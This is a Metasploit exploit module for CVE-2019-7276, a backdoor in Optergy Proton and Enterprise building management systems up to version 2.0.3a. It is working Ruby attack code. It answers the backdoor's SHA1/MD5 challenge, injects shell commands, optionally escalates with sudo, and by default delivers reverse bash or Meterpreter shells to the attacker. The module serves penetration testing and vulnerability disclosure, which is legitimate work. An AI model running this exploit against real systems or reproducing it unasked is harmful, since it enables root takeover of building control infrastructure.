Optergy Proton And Enterprise BMS 2.0.3a Command Injection

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::CmdStager  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Optergy Proton and Enterprise BMS Command Injection using a backdoor',        'Description' => %q{          This module exploits an undocumented backdoor vulnerability in the Optergy Proton and Enterprise          Building Management System (BMS) applications. Versions `2.0.3a` and below are vulnerable.          Attackers can exploit this issue by directly navigating to an undocumented backdoor script          called Console.jsp in the tools directory and gain full system access.          Successful exploitation results in `root` command execution using `sudo` as user `optergy`.        },        'License' => MSF_LICENSE,        'Author' => [          'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF Module contributor          'Gjoko Krstic <gjoko[at]applied-risk.com>' # Discovery        ],        'References' => [          [ 'CVE', '2019-7276'],          [ 'URL', 'https://applied-risk.com/resources/ar-2019-008' ],          [ 'URL', 'https://optergy.com/products/proton/' ],          [ 'URL', 'https://optergy.com/products/optergy-enterprise/' ],          [ 'URL', 'https://attackerkb.com/topics/QrYFIjnd3J/cve-2019-7276' ],          [ 'EDB', '47641'],          [ 'PACKETSTORM', '155258']        ],        'DisclosureDate' => '2019-11-05',        'Platform' => ['unix', 'linux'],        'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86],        'Privileged' => true,        'Targets' => [          [            'Unix Command',            {              'Platform' => 'unix',              'Arch' => ARCH_CMD,              'Type' => :unix_cmd,              'Payload' => { 'BadChars' => "\x20" },              'DefaultOptions' => {                'PAYLOAD' => 'cmd/unix/reverse_bash'              }            }          ],          [            'Linux Dropper',            {              'Platform' => 'linux',              'Arch' => [ARCH_X64, ARCH_X86],              'Type' => :linux_dropper,              'CmdStagerFlavor' => [ 'wget', 'printf', 'echo' ],              'DefaultOptions' => {                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'              }            }          ]        ],        'DefaultTarget' => 0,        'DefaultOptions' => {          'RPORT' => 80,          'SSL' => false        },        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]        }      )    )    register_options(      [        OptBool.new('SUDO', [ true, 'Set the sudo option to get root privileges', false ])      ]    )  end  def execute_command(cmd, _opts = {})    # Step 1: get the challenge and compute the response answer for the backdoor execution    res = send_request_cgi({      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, '/tools/ajax/ConsoleResult.html?get')    })    if res.nil? || (res.code != 200)      return nil    else      # Get and create a challenge response      res_json = res.get_json_document      return nil if res_json.nil? || res_json.blank?      # Get the challenge      challenge = res_json['response']['message']      # Make SHA1 hash from received challenge      h1 = Digest::SHA1.hexdigest challenge      # Make MD5 hash from SHA1 hash      h2 = Digest::MD5.hexdigest h1      # Combine MD5 hash and SHA1 hash as answer (response) to the challenge      answer = h1 + h2    end    # Step 2: execute payload (RCE) using the backdoor and challenge response obtained from step 1.    if target['Type'] == :linux_dropper      cmd = cmd.gsub(' ') { '${IFS}' }    end    if datastore['SUDO']      payload = "sudo bash -c #{cmd}"    else      payload = "bash -c #{cmd}"    end    res = send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, '/tools/ajax/ConsoleResult.html'),      'ctype' => 'application/x-www-form-urlencoded',      'vars_post' => {        'command' => payload,        'challenge' => challenge,        'answer' => answer      }    })    if res.nil? || (res.code != 200)      return nil    else      # get result and return the command response      res_json = res.get_json_document      return nil if res_json.nil? || res_json.blank?      res_cmd_output = res_json['response']['message']      return res_cmd_output    end  end  # Checking if the target is vulnerable by executing the whoami command via the backdoor  def check    res = execute_command('whoami')    return Exploit::CheckCode::Safe unless res && (res.chomp == 'root' || res.chomp == 'optergy')    Exploit::CheckCode::Vulnerable  end  def exploit    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")    case target['Type']    when :unix_cmd      res = execute_command(payload.encoded)      fail_with(Failure::PayloadFailed, "#{datastore['PAYLOAD']} failed.") if res.nil?    when :linux_dropper      # Don't check the response here since the server won't respond      # if the payload is successfully executed.      execute_cmdstager    end  endend